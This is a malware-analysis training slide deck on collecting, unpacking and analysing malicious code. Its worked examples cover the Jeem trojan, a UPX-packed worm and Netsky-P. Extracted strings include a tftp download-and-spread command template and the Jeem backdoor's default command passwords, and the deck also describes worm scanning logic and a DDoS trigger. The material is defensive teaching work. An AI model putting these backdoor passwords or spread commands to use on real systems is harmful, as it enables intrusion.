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Tutorial Overview
• Tutorial Goals

• What is Artifact Analysis?

• Artifact Analysis Roles

• Artifact Analysis Process

• Artifact Analysis Examples

Note: Questions are welcome as we go…
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Tutorial Goals
• Understand artifact analysis roles

• Understand aspects of artifact analysis capability

• Introduce typical artifact analysis methods and 
common tools

• Understand various types of insights which can 
be gained via artifact analysis

This tutorial is a starting place.
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What is Artifact Analysis?
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What Is an “Artifact”?
An artifact may be any of the following things.

• Tools used by intruders to gather information 
about networks or hosts

• Tools used by intruders to exploit vulnerabilities
• Tools installed by intruders on compromised 

hosts
• A malicious program (e.g., virus, worm, Trojan 

horse, bot, etc.)
• Soft evidence (e.g., algorithms, descriptions, 

partial artifacts, network traces, etc.)

An artifact is one or more files that accomplish a 
single task or have a well defined purpose.
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What is Artifact Analysis?
The study of Internet attack technology, otherwise 
known as malicious code, or “malware”

• Viruses
• Worms
• Trojan horses
• Rootkits
• Bots
• Denial-of-service tools
• Vulnerability exploits
• Spyware
• Etc…
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What is Artifact Analysis? (2)
Artifact analysts include

• Computer Security Incident Response Teams

• Anti-Virus / Anti-spyware vendors

• Managed Security Service Providers

• Software vendors

• Enterprises / organizations

• Governments, law enforcement

• Attackers
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Degrees of Analysis / Trust
• Artifact Analysis produces understanding and 

insights

• Degrees of required understanding vary
- Answering specific questions
- Authoritatively describing complete 

functionality

• Consumers must trust analysis

• Artifact analysis capability is a way to create 
trusted information
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Artifact Analysis Roles
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Roles of Artifact Analysis
• Incident response
• Vulnerability analysis
• Attack technology trends
• Threat assessment
• Capability assessment
• Vulnerability assessment
• Law enforcement / forensics
• Signature generation
• Red teaming
• Attacker competition
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Role: Incident Response
• Malicious code often involved in security 

incidents

• Need to understand attack methods used in 
incident in order to respond

• Communicate threats and protective measures to 
constituency
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Role: Vulnerability Analysis
• Exploits for vulnerabilities are developed, 

improved, and re-used

• Existence of working exploit can escalate 
response to a vulnerability

• Understanding an exploit can enhance 
understanding of vulnerabilities
- Current remediation may be insufficient
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Role: Attack Technology 
Trends 

• Effective attack techniques are re-used

• Attack techniques evolve

• New classes of attack techniques can present 
challenges for extended periods of time

• Knowledge enables focus on classes of security 
issues
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Role: Threat Assessment
• Determining current threat posture requires, in 

part, understanding of attack technology

• Which malware threats require drop-everything 
action? Which require long-term analysis? Which 
require no action?

• What is the threat assessment for potential or 
anticipated malware capabilities?
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Role: Capability Assessment
• Malware varies in complexity and capability

• Classes of attack techniques vary in maturity of 
available attack tools

• Development and deployment of attack tools 
require different skill sets

• Assessing capability requires understanding and 
contrasting attack technology and methodology
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Role: Vulnerability 
Assessment

• Testing networks and systems for vulnerabilities

• Attack techniques are codified in malware

• Must understand real-world and current attack 
techniques
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Role: Law Enforcement / 
Forensics

• Forensics recovers artifacts, artifact analysis 
discovers functionality of recovered artifacts
- Additional evidence for investigation or 

prosecution

• Malware analysis may provide evidence of crime
- Compromised financial information

• Collection of known malware used as 
comparison set for forensics discovery
- Cryptographic hash sets
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Role: Signature Generation
• Intrusion Detection / Prevention

- Signatures based on classes of attacks
- Classes of attacks evolve
- Produce signature targets
- Aid understanding of triggered signatures

• Anti-Virus / Spyware detection
- Signatures generated through artifact analysis
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Role: Red Teaming
• Generating real-world attacks

- Need collection of real-world attack tools

• Understanding attack tools and impacts
- Selecting appropriate attack tools
- Insuring attack tools function ‘safely’
- Interpreting results of attack tool use
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Role: Attacker Competition
• Intruders compete for resources

- Botnets
- SMTP relay and proxy for SPAM / Phishing
- Denial-of-service agents
- Malware launch points
- Compromised resources / information

• Exploiting deployed malware
- “Stealing” compromised resources (e.g., 

Netsky vs. MyDoom, bot jacking)
- Backdoor exploitation (e.g., SubSeven)
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The Good, The Bad, The Ugly
Artifact analysis has a Dark Side…

• Enumerating malware weaknesses can lead to 
better malware

• Knowledge of capability / tools can be used to 
evolve attack technology

Dilemma: Open vs. closed
• Full-disclosure
• Carefully expose results, not methods
• Public vs. private disclosure
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Questions? Feedback?
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Artifact Analysis Capabilities
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Degrees of Capability
• Use of vendor-supplied technology

• Independent malware collection

• Surface analysis

• Run-time analysis

• Static analysis

• Tool / methodology improvement
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Increased Understanding 
Requires Increased Resource

Technical
Depth

Required

Collection

Surface
Analysis

Runtime
Analysis

Static
Analysis

Analysis Time Required
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Sources of Artifacts
• Internal Collection

- Public resources
› Web sites
› Email
› USENET Newsgroups
› IRC / Instant Messaging

- Artifacts from internal incidents
- Honeypots

• External Collection
- Trusted Partners
- Organizations
- Customers
- Individuals
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Sources of Artifacts - 2
Method of acquisition

• Email

• FTP, HTTP

• Physical media (CDROM, USB key, etc)

Insure safe acquisition
• Insure client software / OS doesn’t execute 

malware
• Use wget rather than web browser
• Require wrapper (e.g., Zip, ASCII armor)
• Insure A/V software does not quarantine
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Artifact Handling and Storage
Malicious code is dangerous

• Handle with care
- Add unregistered file extensions to avoid 

accidents (e.g., .mal, .unp)
- Use non-critical network / systems
- Use ‘safe’ operating system
- Encapsulate for transport

• Storage enables use of information
- Naming standard
- Storage structure for artifacts and analysis
- Database helps provide structure
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Scope of work
• Collecting artifacts
• Technical artifact analysis

Artifacts

Collected

Analyzed
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Prioritization 
(Deciding What to Analyze)

• Organizational Mission (Qualitative)

• Numeric Weights (Quantitative)
- Scope – How widespread is the artifact

› # of reported incidents
› # of sites

• Propagation
- Does the artifact spread, if so, is it automated spread or does it 

require human intervention (e.g., Emailing to other users)?

• Damage Potential
- Is the malware destructive to data or availability of resources?
- Does the malware collect data that could potentially damage 

the target (e.g., bank account related info of the users)?

• Impact

• Difficulty of remediation

• Other areas of interest to your organization
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Surface Analysis
“Picking the low-hanging fruit”

Surface analysis includes:

• Quick checks to identify and characterize an 
artifact
- Strings, MD5 checksum, file size, filename

• Public source analysis
- Search engines, mailing lists, vendor reports, 

etc.

• Easily identifiable contents
- Review of text files
- Review of source code (if available)
- Review of strings output
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Comparative Analysis
Comparing unknown artifacts and their 
characteristics against known artifacts and 
collected intelligence

• Analyst experience greatly enhances the ability 
to spot similarities

• Some comparative analysis tasks are good 
candidate for automation
- Structuring prior knowledge
- Exact match comparisons
- Similarity comparisons
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Runtime Analysis
Derive artifact function from lab testing
• Starting point based on surface analysis
• Sometimes difficult to uncover and test all 

features

Rapidly deployable test environments
• In-office virtual labs for easy access
• Sharable image library for multiple platforms
• Undoable disk images - always a fresh install
• Virtual network with DHCP, DNS, SMTP, HTTP, 

FTP, IRC, packet mangling capabilities, etc.

Repository of vulnerable software
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Static Analysis
Determine full functionality of an artifact

When source code is available, interpreting it is the fastest 
path to complete understanding

When only binary executables are available, disassembly and 
reverse engineering are required

• Comprises several steps
- Disassembly of an executable binary
- Understanding the assembly
- Decompilation – rewriting as source code

• Provides a complete picture of an artifact
- Time intensive
- Requires great technical depth
- There are no secrets when complete
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Questions? Feedback?
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Artifact Analysis Process
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Analysis Process Overview
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Surface and Comparative
Analysis Process
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Surface and Comparative
Analysis Process



© 2005 by Carnegie Mellon University 40

Determine File Type
Influences analysis approach

• Text files
- Wide variety of formats
- Static analysis
- Can use to produce files for run-time analysis

• Binary data files
- Wide variety of formats
- Often requires application or custom knowledge for 

analysis

• Binary executable files
- Variety of platforms and formats
- Run-time and static analysis
- Potentially packed / obfuscated
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Determine File Type - 2
Text files

• Source code
- Assembly
- C / C++ / Visual Basic
- Java / C#
- Perl / Python / shell script
- Macro languages (e.g., Makefile, M4)
- Javascript / PHP / ASP / HTML

• Configuration files
- Control run-time behavior of artifact

• Output files
- Log files from execution
- May contain site-sensitive information

• Instructions
- How to build / use the artifact
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Determine File Type - 3
Binary data files

• Application data files
- MS Office (.doc, .xls, .ppt, etc.)

• Archive files
- zip, rar, tar, gz, etc.
- May contain other artifacts

• Multimedia files
- Image files (JPEG, GIF, MP3, WMV, etc.)

• Output files
- Log files from execution
- May contain site-sensitive information
- May be obfuscated
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Determine File Type - 4
Executable Files

- Architecture
› Intel x86
› SPARC
› MIPS

- Format
› COFF (common object file format)
› ELF (executable and linkable format)
› MS Windows PE (portable executable)
› MS-DOS executable
› Compiled Java / VB P-Code

- Linkage
› Statically linked (includes libraries)
› Dynamically linked (does not include libraries)
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Determine File Type - 5
Methods and tools

• File extensions
- Part of the filename
- Untrustworthy

• File contents
- file(1) command

› Uses ‘magic’; signature recognition
› Available on unix variants
› Available with Cygwin for Windows

Example: file <file(s) to analyze>

$ file *
Web.Killer.V40.exe: MS-DOS executable (EXE), OS/2 or MS Windows
Web.Killer.V40.zip: Zip archive data, at least v2.0 to extract
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Packed Executable 
Identification

For executable files:

• Identify compiler
- VC++, Borland, lcc, Delphi, Watcom, gcc, etc.
- Aids in static analysis

• Determine packing/obfuscation
- upx, FSG, PEtite, PECompact, etc.
- Aids in surface / run-time analysis
- Required for static analysis
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Packed Executable 
Identification - 2

Windows tool: PEiD
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Packed Executable 
Identification - 3

Windows tool: Stud_PE
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Packed Executable 
Identification - 4

If the executable is packed…

• Unpack using publicly available unpacker
• Unpack using manual methods

Unpacking provides:

• Insight into native strings for surface analysis
• Potentially greater Anti-Virus recognition
• Native format binary for static analysis
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Comparative Analysis
Leverage previous experience

• Anti-virus signatures

• Cryptographic hash sets (e.g., MD5, SHA1)

• Public source analysis

• Previous analyst experience

Provides initial insight with questionable trust

• Requires validation to be 100% certain
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Comparative Analysis - 2
Anti-virus signatures

• Codified knowledge with file scanners

• May identify a class of malware if not an exact 
match (e.g., sdbot)

• May produce false positives and conflicting 
answers

• Related analysis may be incomplete or 
inaccurate
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Comparative Analysis - 3
Cryptographic hash sets

• MD5 and SHA1 hashes

• Authoritatively identifies known files
- Known good hash sets
- Known bad hash sets
- Public search resources

• Some malware varies hash from instance to 
instance (e.g., Klez)

• Related analysis may be incomplete or 
inaccurate
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Extracting Strings
Obtain printable strings from binary

• Representation of program contents

• May provide useful information
- IP addresses, hostnames, commands, 

passwords, registry keys, libraries, function 
names, etc.

• Obfuscation or packing can hinder usefulness

• Tools
- strings (unix and Windows)
- BinText (Windows)



© 2005 by Carnegie Mellon University 53

Extracting Strings - 2
BinText

http://www.foundstone.com/resources/proddesc/bintext.htm
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Strings – Packed Binary
_^[]
4s,;
;tKh<tg
M|hh^
9SWj
Fah6
ji`&
@Pu}a@
T"jD[3
VPs!2
VVjHVh
qd@m
…
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Strings – Packed Binary (2)
…
KERNEL32.DLL
ADVAPI32.dll
USER32.dll
WSOCK32.dll
LoadLibraryA
GetProcAddress
ExitProcess
RegEnumKeyA
PostQuitMessage
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Objdump – Packed Binary
$ objdump –w –x binary.exe

…

There is an import table in UPX2 at 0x67e000
The Import Tables (interpreted UPX2 section contents)
vma:      Hint    Time      Forward  DLL      First

Table   Stamp     Chain    Name     Thunk
0027e000 00000000 00000000 00000000 0027e08c 0027e064 DLL Name: KERNEL32.DLL 
0027e014 00000000 00000000 00000000 0027e099 0027e074 DLL Name: ADVAPI32.dll 
0027e028 00000000 00000000 00000000 0027e0a6 0027e07c DLL Name: USER32.dll 
0027e03c 00000000 00000000 00000000 0027e0b1 0027e084 DLL Name: WSOCK32.dll 

0027e050 00000000 00000000 00000000 00000000 00000000
Sections:
Idx Name Size   VMA      LMA      File off Algn Flags
0 UPX0 00275000 00401000 00401000 00000400 2**2 CONTENTS, ALLOC, CODE
1 UPX1 00007600 00676000 00676000 00000400 2**2 CONTENTS, ALLOC, LOAD, CODE, DATA
2 UPX2 00000200 0067e000 0067e000 00007a00 2**2 CONTENTS, ALLOC, LOAD, DATA 

SYMBOL TABLE: no symbols

Unpack via upx
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Strings – Unpacked Binary
\msrexe.exe
Software\Microsoft\Windows\CurrentVersion\Welcome System Service
Software\Microsoft\Windows\CurrentVersion\Run
221 jeem.mail.pv
220 jeem.mail.pv
ESMTP
502 Command not implemented
QUIT
354 Go!
DATA
503 MAIL first
RCPT
500 error
MAIL
RSET
SDATA
503 wrong!
Jeespower
GDATA
250 ok
[prx]
Jeepower
250 ok
Need password
Jeedelprx
RCPT TO:<%s>
MAIL FROM:<%s>
HELO %s 
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Strings – Unpacked Binary (2)
GET %s?magic=%d%d%d&ox=%s&tm=%d&id=%d&cache=%d HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: http://%s/
Accept-Encoding: gzip, deflate
Host: %s
Connection: Keep-Alive
HTTP/1.0 200
Connection established [OxD]
RegisterServiceProcess
kernel32.dll
CONNECT
http://
POST
GET
Idc3
cv093
%d-%d-%d-%d
%s\setup12904.exe
TEMP
Jeem.p
System\CurrentControlSet\Control\TimeZoneInformation
ImagePath
SYSTEM\CurrentControlSet\Services\Swartax
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Public Source Analysis

• Public search engines
- Identify relatively unique aspects of malware

• Compare activity trends
- Anti-virus / anti-spyware vendors
- Mailing lists and newsgroups
- Security community websites

Note: Public source monitoring is ongoing activity
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Public Source Analysis - 2
Search for “jeespower” yields one hit:

http://dsbl.org/relay-methods

The Jeem trojan
The Jeem trojan was the first known trojan horse specifically 
intended for spamming. It had (and likely still has) a very large 
number of infected machines. Jeem can be easily identified by 
it's SMTP banner (once the SMTP port is found): "220 
jeem.mail.pv ESMTP ready". It opens 3 seemingly random 
ports (actually derived from time zone, Windows version and 
NetBios name): a SOCKS4/5 proxy, and HTTP POST proxy, 
and an SMTP relay. The software takes 3 extra commands on 
the SMTP port. Each is password protected with a different 
password. Command meanings and default passwords are 
listed below.

UNS   Uninstall            jeedelprx
SDATA Set new update site  jeespower
GDATA Get update site info jeepower
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Surface Analysis - Results
Search for “jeem trojan” produces more 
information

• How do we know for sure the file we are 
analyzing is the same as described in public 
sources?

• Does public analysis answer the questions 
needed for our purposes?

• Is there conflicting or incomplete information?
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Questions? Feedback?
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Runtime Analysis Process
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Runtime Analysis Process
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Run-Time Analysis
• Environments

• Service interaction monitoring

• Infected host monitoring 
- Registry (Windows)
- File system
- Network
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Analysis Environment
• Virtual Environments

- Rapidly deployable
- Move virtual host images between test 

environments
- Rollback changes to a known good state
- May be detected by malware resulting in change 

of malware behavior
- Machine performance is not as good as native 

hardware

• Native Environments
- True hardware performance and behavior
- Generally more effort required to create and 

maintain system images
- Generally more expensive
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Service Interaction
• Malware may use common Internet protocols and 

services

• Instrument test environment to capture service 
interaction and gain insight

• Monitor server - simulate entire Internet on one 
host

• Provides view external to execution host
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OS and Server Software
• Operating Systems

- Linux / *BSD
- Windows 2000 or XP

• Server Software
- IRC
- HTTP
- FTP
- TFTP
- DNS
- DHCP
- SMTP
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Building a Monitor Server
Becoming the Man in the Middle

• Linux or other *nix platform is a good choice

• Can be native or virtual machine

• Services to capture malware traffic
- arpd
- iptables
- DNS
- SMTP
- HTTP
- IRC
- etc…

• Network Traffic Capture
- Ethereal
- TCPDump
- Snort
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Data Link and Network Layer 
Redirection

• arpd
- Useful to redirect local network traffic to 

monitoring machine
- Will send arp response for any unclaimed IP 

on the network

• iptables
- Linux bundled firewall daemon
- Useful to redirect non-local network traffic to 

monitoring machine using DNAT rules
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Building a Monitor Server
DNS Hostname Redirection

• Configure name server on monitoring host to 
respond to all name queries

• Common setup causes all request to resolve to 
monitoring host’s IP address

• Avoids the need to build static hosts tables on 
the lab host you are infecting

*. IN A 10.10.200.1
*. IN MX 10 10.10.200.1
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Building a Monitor Server
Traffic Capture

• Traffic capture should be on for the duration of 
the malware analysis experiment

• Capture in promiscuous mode

• Dump capture to file for later analysis
- Can also dump to screen for instant viewing, 

but this can lead to performance issues and 
may be scroll too fast to be practically useful.

• Allows you to see attempted network actions to 
services you may not be offering on your monitor 
machine
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Building a Monitor Server
Common Services

• Email
- Common replication method for certain 

classes of malware

• Web Services
- HTTP is often used for updates, to check 

connectivity to the Internet and to log 
information about the infected machine

• irc
- Probably the most common command and 

control method for botnets
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Building a Monitor Server
Common Services – Email

• Configurable mail transport agent
- Sendmail, Postfix, qmail, exim, etc.

• Setup rules to direct any email to a local account
- [anyone]@[anywhere] = local-user

• Review email for malware or patterns that can 
help with the analysis
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Building a Monitor Server
Common Services – Web Services

• Apache is a free highly configurable web server
- Comes with most Linux distributions

• Configure mod_rewrite module to redirect page 
requests to a page of your choosing

• Monitor access_log
- Full URL of page request
- Variables in URL for GET requests

• Monitor mod_rewrite log files for any re-writes 
that were done

• Could also create web page to capture POST/GET 
data to a file for later review



© 2005 by Carnegie Mellon University 76

Building a Monitor Server
Common Services – Web Services

Sample httpd.conf:

# Added these lines to config for malware analysis
RewriteEngine On
RewriteCond /var/www/html/%{REQUEST_FILENAME} !-f
RewriteRule (.*) /default.html

# OPTIONAL (for logging of rewrite activity)
RewriteLog /var/log/httpd/rewrite_log
RewritelogLevel 1
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Building a Monitor Server
Common Services - irc

• Commonly used for botnet command and control

• Many ircd servers available
- Multi platform
- Highly configurable

• Allows monitoring and interaction with bots and 
other IRC related malware

• Can be slightly complex for initial setup
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Monitoring IRC Activity
• Log into simulated bot channels

- Determine bot nick / username format
- Monitor or interact with bots
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Building a Monitor Server
Common Services – Others…

• ftp
- Sometimes used by malware for update or data 

drop-off

• tftp
- Commonly used for malware propagation
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netcat
• Tool for reading / writing network socket data

• Works with TCP and UDP

• Example of simulating an IRC server:
nc –l –p 6667
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Monitoring Service Interaction
Iterative process

• Each execution may expose insights requiring 
additional configuration

• May be impossible to trigger and observe all 
behaviors
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Monitoring Host Activity
Observe malware on executing host

• Registry

• File System

• Network Activity
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Registry Monitoring
Windows malware often uses registry

• Reading – obtaining run-time configuration
- Time zone
- TCP/IP configuration
- Installed software
- Local language

• Writing – adding keys, changing values
- Configuration storage
- Enabling automatic malware execution

• Deleting – disabling software
- Anti-virus, personal firewall, other malware, 

etc.
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Registry Monitoring – Tools
• Registry Monitor (RegMon)

- Near real-time registry monitoring
- All transactions, filterable

• RegShot
- Before and after snapshot comparison
- Focuses on changes
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File System Monitoring
Malware often accesses file system

• Reading
- Obtaining run-time configuration
- Loading executables
- Finding email addresses / other info

• Writing
- Dropping files (e.g., executables)
- Configuration storage
- Output logs

• Deleting
- Disabling other software
- Removing evidence
- Destroying information
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File System Monitoring –
Tools

• Regshot
- Before and after snapshot
- Focuses on changes

• File Monitor (FileMon)
- Near real-time monitoring of filesystem
- All transactions, filterable

• FUndelete
- Recover malware-deleted files



© 2005 by Carnegie Mellon University 87

Network Monitoring
Malware often uses the network

• Listening
- TCP/UPD ports for incoming packets
- Remote control backdoors
- SMTP servers
- HTTP servers
- (t)ftp servers
- Proxy servers

• Sending
- Best monitored using external monitor server
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Network Monitoring – Tools
• Session recording

- TDIMon (Windows)
› Records incoming and outgoing sessions

- Argus (unix)
› Records network flow data

• Packet capture tools (record all data)
- Ethereal (unix, Windows)
- Tcpdump (unix)
- Windump (Windows)

• Current network state
- Netstat (unix, Windows)

› Displays current connections and listening ports
- Fport (Windows)

› Displays listening TCP/UDP ports and associated processes
- Tcpvcon (Windows)

› Displays network end-points and associated processes
- lsof (unix)

› Displays listening TCP/UDP ports and network end-points and 
associated processes
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Run-Time Analysis
• Environments can be configuration intensive

• Many possible combinations of software and 
tools

• Requires dynamic systems administration

• No way to know if all behavior is observed

• Good augmentation to static analysis
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Questions? Feedback?
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Static Analysis Process
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Static Analysis Process
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Static Analysis
• Read source code if available

- Don’t believe everything you read

• If not…
- Disassemble binary executable
- Interpret assembly language
- AKA – Reverse engineering

• Time-intensive and highly technical

• Produces authoritative results
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Binary Obfuscation
Obfuscated binaries are common

• Limits surface analysis
- strings are not easily obtained

• Makes static analysis more difficult
- Must first deobfuscate binary

• Avoids detection by signature-based systems

Static analysis requires deobfuscated binaries
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Packers and Obfuscation
• Packers

- upx – use upx to unpack (unless modified)
- aspack
- pecompact
- petite

• Compression
- zip
- gzip (often used with tar)
- rar

• Encryption
- morphine

• Manual Unpacking
- IDC Script
- OllyDbg
- LordPE
- ImpRec
- Custom written unpackers
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Unpacking Methodologies
•Static Unpackers
• Public Unpackers
• Custom Written Unpackers

•Debugger Techniques
• Single Step
• Break on Function Calls
• Break on DLL Load

•Memory Dumps
• LordPE
• OllyDmp
• ImpRec
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Debuggers
Used to control program execution
• Single-step through instructions
• Watch processor register values
• Set execution break-points
• Inspect memory locations

Common tools:

• SoftICE (Windows - commercial)

• OllyDbg (Windows – free)

• gdb (unix)
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Disassemblers
Read executable files and produce assembly language
• Assumes well-structured executable files

Common tools:
• IDA Pro (Windows, etc – commercial)

- Primarily a disassembler with debugging capabilities
- Library recognition technology (FLIRT)
- IDC Script
- IDA Plug-ins

• OllyDbg (Windows – free)
- Primarily a debugger with disassembly functionality
- Several free plug-ins including a script engine

• objdump (unix)
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Static Analysis
Reading assembly language is difficult

• Processor instruction set
• Memory architectures
• Operating system internals and API
• Compiler frameworks
• Executable formats
• Library formats and recognition
• Complex algorithm recognition

And… attackers use anti-analysis techniques

No other way to generate authoritative, complete 
analysis of malicious code
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Sample Analysis
Runtime and Static
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Identify the File
•Run through AV scanner

- Be sure scanner is not set to delete the 
malware or make sure you have another copy!

•Run file through PEiD
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Strings (Packed Malware)
• Clues from packed strings

- ANG3L – hop

- tftp

• Information value is low

• Unpacking may increase the value
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Unpacking mslaugh.exe
• PeID Identified Packer as UPX
• Attempt to unpack using upx

- upx –d mslaugh.ex_ -o mslaugh.ex_.unp

• This fails giving an indication that the file has likely 
been modified or hacked in some way

• Use manual unpacking technique
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PEiD After Unpack
• Looking at dumped file in PEiD shows the 

compiler may have been LCC

• Appears there are no additional layers of 
obfuscation
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Packed –vs– Unpacked
Strings

• Far more useful strings can be extracted after unpacking

• More useful clues from unpacked strings
- \\\C$\123456111111111111111.doc

- FXNBFXFXNBFXFXFXFX

- I dedicate this particular strain to me ANG3L - hope yer enjoying yerself and dont
forget the promise for me B/DAY !!!!

- MEOW

- example.org

- start %s

- tftp -i %s GET %s

- SILLY

- Windows Automation

- SOFTWARE\Microsoft\Windows\CurrentVersion\Run

• Many libraries and functions also revealed
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Packed –vs– Unpacked
Strings

• Libraries and functions revealed

- KERNEL32.DLL – core functionality
- WS2_32.DLL – Windows Sockets API library – evidence 

suggesting a network capture during run-time analysis
› bind / send / sendto / connect / … possible network activity

- WININET.DLL – Library of Internet related functions - useful for 
checking network connections, downloading files from 
Internet sites

› InternetGetConnectedState – checks state of Internet connection
- ADVAPI32.DLL – Advanced API library - useful for interacting 

with Windows OS including the registry
› RegSetValueExA – look for ways the malware might modify the 

registry.  Maybe in conjunction with the key string observed 
above?

- CRTDLL.DLL – C library functions
› fclose / fopen / fread – used to interact with files
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Regshot
• A registry key was added:

- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Automation

• Value = 6D 73 6C 61 75 67 68 2E 65 78 65 00 
- Hex to ASCII translation yields null terminated string 

“mslaugh.exe”

• No new files were discovered by Regshot
- Odd… what about the fopen, fread, fclose?
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Additional Monitoring of
Network and File Activity

• Regmon
- No additional notable activity

• Filemon
- Shows malware reading itself from disk
- Explains the fopen, fread, fclose
- But why do this?
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Network Packet Capture
• Sequential scanning / connection attempts to 135/tcp
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Network Packet Capture
• nc –l –p 135 –o 135.cap

• This will cause netcat to listen on 135/tcp and write 
what it captures to 135.cap file for later analysis

• Allows the TCP connection to complete so 
application layer packet can be received and 
analyzed
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MSRPC Packet Capture
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Sacrificial Lamb
• Place vulnerable host on wire

• Try to force/allow interaction to take place 
between infected host and vulnerable host

• Record network traffic

• Analyze interaction
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Summary of Insights Gained From
Runtime Analysis

• How malware is started when machines reboot

• 135/tcp Scanning

• Backdoor port opened on targeted host (4444/tcp)

• tftp spread mechanism

• Possibly more depending on the conditions of the 
runtime environment
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Static Analysis
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Static Analysis
IDA or OllyDbg

• Analysis of shellcode payload
- Attempt to understand functionality
- Specifically trying to understand the shellcode the 

malware sends across the network
- Look for any hidden function

• Analysis of unpacked malware executable
- Try to understand basic functions
- Dig deeper only if you need the details
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Additional Insight Gained From
Static Analysis (shellcode)

• Utilized techniques detailed in paper written by 
LSD Research Group
- Finds base address for Kernel32.dll using 

Process Environment Block (PEB)
› Makes code more universal then hard coding
› Prototyped in dcom.c (and MS-Blaster worm)

- Resolves API Proc Addresses from library 
export tables using a hash matching algorithm
› Can help reduce the size of the shellcode
› Eliminates the need for function name strings and 

makes it more difficult to reverse
› Highlights the need for understanding the ASM code
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Additional Insight Gained From
Static Analysis (mslaugh)

• Creates Mutex SILLY

• Reveals formula used to determine starting address for worm 
scanning/spreading activity

- 60% of the time
› Uses 1st and 2nd Octet of infected system
› Uses 3rd Octet of host until it is > 20, then it selects a random 3rd

Octet
› 80% of time 4th Octet Starts at .1

» Other 20% of the time starts at .2

- 40% of the time
› 1st Octet is random
› 2nd Octet is 1st Octet + 1
› 3rd and 4th Octet are random

• Reveals Date Range Trigger for DDoS attack
- Day of Month > 15th (ie. 16th..End of Month)
- Months Sep..Dec
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*Network Packet Capture
(During DDoS Time Window)

• Monitoring traffic capture to test system reveals a DNS query for example.org
• Attempts to connect to 135/tcp on systems (as seen before)
• SYN Flood pkts to 80/tcp (HTTP) can be seen throughout the dump
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Sample Analysis
Runtime
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Identify the File
• Email attachment filename: message.scr

• Scanned with AntiVirus (AV) –
W32/Netsky-P

• Tested on: Windows XP SP1a

• Packed: PEid and Stud_PE - FSG 1.0
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Filemon / Regmon
• Filemon

- Excluding the following processes: 
VMwareService.exe; VMwareUser.exe; Regmon.exe; 
regshot.exe; procexp.exe; Filemon.exe

- Logging: Log Reads and Writes

• Regmon

- Excluding the following processes: 
Regmon.exe; VMwareService.exe; regshot.exe; 
procexp.exe; VMwareUser.exe; Filemon.exe

- Logging: Log Reads, Writes, Successes, Errors 
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Mutex Created
Strings Observed

• Process Explorer shows creation of Mutex
- 'D'r'o'p'p'e'd'S'k'y'N'e't' (exe Mutex)
- _-o0]xX|-S-k-y-N-e-t|Xx[0o-_  (dll Mutex)

• Bintext reveals other interesting strings
- U'l't'i'm'a't'i'v'e 'E'n'c'r'y'p't'e'd

'W'o'r'm'D'r'o'p'p'e'r' 'b'y 'S'k'y'N'e't'.'C'Z' 'C'o'r'p*' 
- 'S'k'y'N'e't'F'i'g'h't's'B'a'c'k
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Network Listeners
• TCPView reveals network listeners

- Starts listener on any TCP ephemeral port 
(port at or above 1024/TCP)

- Built in SMTP engine (port 25/TCP)
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Malware Install
• Filemon reveals malware copies itself to 

c:windows\fvprotect.exe

• Regshot shows new registry value added
- Registry Key

- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\
Run

- New value
- Norton Antivirus AV c:\windows\fvprotect.exe

• This new value will allow malware to restart itself 
after a system reboot
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Propagation
• Using Windows advanced file search

- Searched for any files modified on the date the malware 
was tested.  Also included System/Hidden files

- Drops a copy of itself in Directories that contained the 
following name:
- Downloads
- Downloader
- .NetworkShare
- Upload

• Filemon logs confirm this

• Also Confirmed with Public Source Analysis
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Propagation (2)
• Using Windows advanced file search

- Searched for any files modified on the date the 
malware was tested.  Also included 
System/Hidden files

- Dropped files in C:\Windows:
- base64.tmp - MIME copy
- zip1.tmp - MIME copy in zip archive
- zip2.tmp - MIME copy in zip archive
- zip3.tmp - MIME copy in zip archive
- zipped.tmp - Copy in zip archive

• Filemon logs confirm this
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DNS lookups
• tcpdump capture from linux host on the lab 

network revealed DNS MX queries

- Queries for MX records of harvested email 
addresses

- Additional MX record lookups
- sexnet.com
- alloverme.com
- mehoff.com
- boyzzz.com
- son.net
- martin.net
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DNS lookups (2)
• tcpdump capture from linux host on the lab 

network revealed the following additional DNS 
queries
- 21cn.com
- zip.to
- speakeasy.net
- familiehaase.de
- example.com
- buyzyrar.com
- winzyrarus.com
- diana.dti.nezy.jp
- rarzy.com.tw
- rarzysoft.be
- razyr.cz
- adczy-soft.com
- winzyrar.de
- winzyrar.it
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Attempts to Spread
via File Sharing

• Using Windows advanced file search
- Searched for any files modified on the date the malware was 

tested.  Also included System/Hidden files

- Located copies of the malware with file names that will 
attract download.  Some Examples include:
- 1001 Sex and more.rtf.exe
- Doom 3 release 2.exe Microsoft WinXP Crack full.exe
- 3D Studio Max 6 3dsmax.exe
- E-Book Archive2.rtf.exe MS Service Pack 6.exe
- ACDSee 10.exe
- Eminem blowjob.jpg.exe
- netsky source code.scr
- Adobe Photoshop 10 crack.exe
- Eminem full album.mp3.exe
- Norton Antivirus 2005 beta.exe

• Filemon logs confirm this
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Sample Analysis
Reverse Engineering –vs– Runtime
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Virus Analysis
• Basic functionality revealed via 
runtime analysis

• Static analysis gives insight into:
- Meaning of events observed in 

runtime analysis
- Details of how code works
- Information on how backdoor 

function works
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Blocked Access to Files
Run-time Analysis

• Not able to launch taskmgr from CTRL-
ALT-DEL or any other means

• Other tools like regedit also won’t 
launch
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Blocked Access to Files
Static Analysis

• Finds files with the following attributes:
- Any of the following strings in the filename:

› reged
› msconfig
› task

• File extension begins with an ‘E’ or ‘e’

• Uses the following CreateFile call to create and exclusive lock on 
the file so it can not be accessed:

seg001:00401C05 open_file_no_share_allowed proc near    ; CODE XREF: start+30�p
seg001:00401C05                                         ; start+86A�p ...
seg001:00401C05                 push    NULL            ; hTemplateFile
seg001:00401C07                 push    FILE_ATTRIBUTE_ARCHIVE ; dwFlagsAndAttributes
seg001:00401C09                 push    edi ; dwCreationDisposition
seg001:00401C0A                 push    NULL            ; lpSecurityAttributes
seg001:00401C0C                 push    NULL            ; dwShareMode
seg001:00401C0E                 push    RW_ALL          ; dwDesiredAccess
seg001:00401C13                 push    offset data_buffer ; lpFileName
seg001:00401C18                 call    CreateFileA
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Creates Registry Entries
Runtime Analysis

• "rD"=dword:00000102
• "t1"="lab"
• "t3"="C:\\WINDOWS\\System32\\Norton Update.exe"
• "t4"="C:\\WINDOWS\\System32\\mhblbwmk.dll"
• "t5"="C:\\WINDOWS\\System32\\qvnurivs.dll"
• "t6"="C:\\WINDOWS\\System32\\vfvnvpef.dll"
• "t7"="C:\\WINDOWS\\System32\\rcfypuxn.dll"
